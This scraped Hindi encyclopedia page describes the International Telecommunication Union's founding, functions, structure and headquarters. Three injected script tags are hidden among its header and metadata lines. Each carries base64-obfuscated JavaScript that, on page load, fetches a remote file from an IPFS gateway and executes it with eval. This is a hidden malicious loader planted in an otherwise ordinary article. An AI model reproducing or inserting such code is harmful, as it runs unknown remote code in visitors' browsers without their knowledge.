अंतरराष्ट्रीय दूरसंचार संघ
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
अंतरराष्ट्रीय दूरसंचार संघ
| |
पुस्तक नाम | हिन्दी विश्वकोश खण्ड 1 |
पृष्ठ संख्या | 38 |
भाषा | हिन्दी देवनागरी |
संपादक | सुधाकर पाण्डेय |
प्रकाशक | नागरी प्रचारणी सभा वाराणसी |
मुद्रक | नागरी मुद्रण वाराणसी |
संस्करण | सन् 1964 ईसवी |
उपलब्ध | भारतडिस्कवरी पुस्तकालय |
कॉपीराइट सूचना | नागरी प्रचारणी सभा वाराणसी |
लेख सम्पादक | कैलाश चंद्र शर्मा |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
अंतरराष्ट्रीय दूरसंचार संघ की स्थापना 1932 ई. में मैड्रिड सम्मेलन में उस समय हुई जब 1865 ई. के दौरान पेरिस में स्थापित अंतरराष्ट्रीय तारप्रेषण संघ और 1906 के दौरान बर्लिन में स्थापित अंतरराष्ट्रीय रेडियो तारप्रेषण संघ का परस्पर विलय हो गया। लेकिन उक्त संघ का कार्य सही अर्थों में 1 जनवरी, 1934 ई. से ही प्रारंभ हुआ। 2 अक्टूबर, 1947 ई. के दिन आयोजित संघ के अधिवेशन में इसका पुनर्गठन हुआ और 1 जनवरी, 1949 ई. से नवगठित अंतरराष्ट्रीय दूरसंचार संघ ने विधिवत् अपना कार्य शुरू कर दिया।
संघ के कार्य
- रेडियो आवृत्तियों को निश्चित करना तथा निर्दिष्ट रेडियो आवृत्तियों का आलेखन करना।
- सुचारू सेवा के साथ-साथ दूरसंचार की यथासंभव न्यूनतम दरें बनाए रखने की कोशिश करना और दूरसंचार संघ के आर्थिक प्रशासन को स्वतंत्र एवं सुस्पष्ट आधार प्रदान करना।
- दूरसंचार के दौरान जीवन को किसी प्रकार से क्षति न पहुँचे, इस दृष्टि से विभिन्न उपाय खोजना तथा उन उपायों को लागू करने के उपरांत उनका विस्तार करना।
- दूरसंचार प्रणाली संबंधी विभिन्न अध्ययन करके उपयुक्त सिफारिशें करना तथा इससे संबंधित विभिन्न सूचनाओं को इकट्ठा करके प्रकाशित करना ताकि सदस्य देश उक्त सूचनाओं से लाभ उठा सकें।
गठन
अंतरराष्ट्रीय दूरसंचार के अंतर्गत कई इकाइयाँ हैं, यथा- सदस्य राष्ट्रों के पूर्णाधिकार प्राप्त दूतों की परिषद; प्रशासन की देखभाल करने वाली परिषद; 25 सदस्यों की एक प्रशासनिक परिषद; महासचिवालय; अंतरराष्ट्रीय आवृत्ति आलेखन बोर्ड तथा रेडियो, दूरभाष एवं तारप्रेषण से संबद्ध तीन अंतरर्राष्ट्रीय परामर्शदात्री समितियाँ।
- सन् 1971 ई. का संघ का बजट 82 लाख डालर था। इसके उप महासचिव ट्यूनिशिया के मुहम्मद मिली हैं, और इसके मुख्यालय का पता है-प्लेस डेस नेशंस, जेनेवा, स्विट्जरलैंड।
टीका टिप्पणी और संदर्भ